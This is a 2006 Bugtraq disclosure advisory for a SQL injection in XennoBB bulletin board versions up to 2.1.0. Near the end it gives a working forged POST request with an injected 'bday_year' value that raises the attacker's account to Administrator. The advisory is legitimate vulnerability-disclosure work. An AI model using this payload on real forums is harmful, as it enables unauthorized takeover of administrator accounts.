bugtraq - XennoBB <= 2.1.0 "birthday" SQL injection

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Date: 6 Aug 2006 04:39:38 -0000
From: c.boulton@...board.com
To: bugtraq@...urityfocus.com
Subject: XennoBB <= 2.1.0 "birthday" SQL injection

--------------------- SUMMARY ---------------------

Name:
	XennoBB "birthday" SQL Injection (6/8/2006)

Vendor / Product:
	XennoBB Group
	http://www.xennobb.com/

	Description:
	The world's most revolutionary and easy to use bulletin board.

	Revolutionary because it redefines the boundaries of usability
	and power; from the first version it's a real alternative to
	the commercial forums out there.

	How can XennoBB be described in few words? 
	Lightning-speed, stable, SECURED(?) and modern.

Version(s) Affected:
	<= 2.1.0

Severity:
	High

Impact:
	SQL Injection (Remote)

Status:
	Unpatched

Discovered by:
	Chris Boulton <http://www.surfionline.com>

------------------- DESCRIPTION -------------------

An exploit exists in the above mentioned versions of XennoBB which
can be exploited by malicious users to conduct SQL injection attacks.

Input passed to the "bday_day", "bday_month" and "bday_year form
fields is not properly sanitised before being used in an SQL query.
This exploit can lead to manipulation of SQL queries by injecting
arbitary SQL code.

--------------------- EXPLOIT ---------------------

Submit a forged POST request to

/profile.php?section=personal&id={your registered user ID here}

With the following as the POST data:

form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1, birthday="

Successful exploitation leads to the user group being changed to
that of Administrators.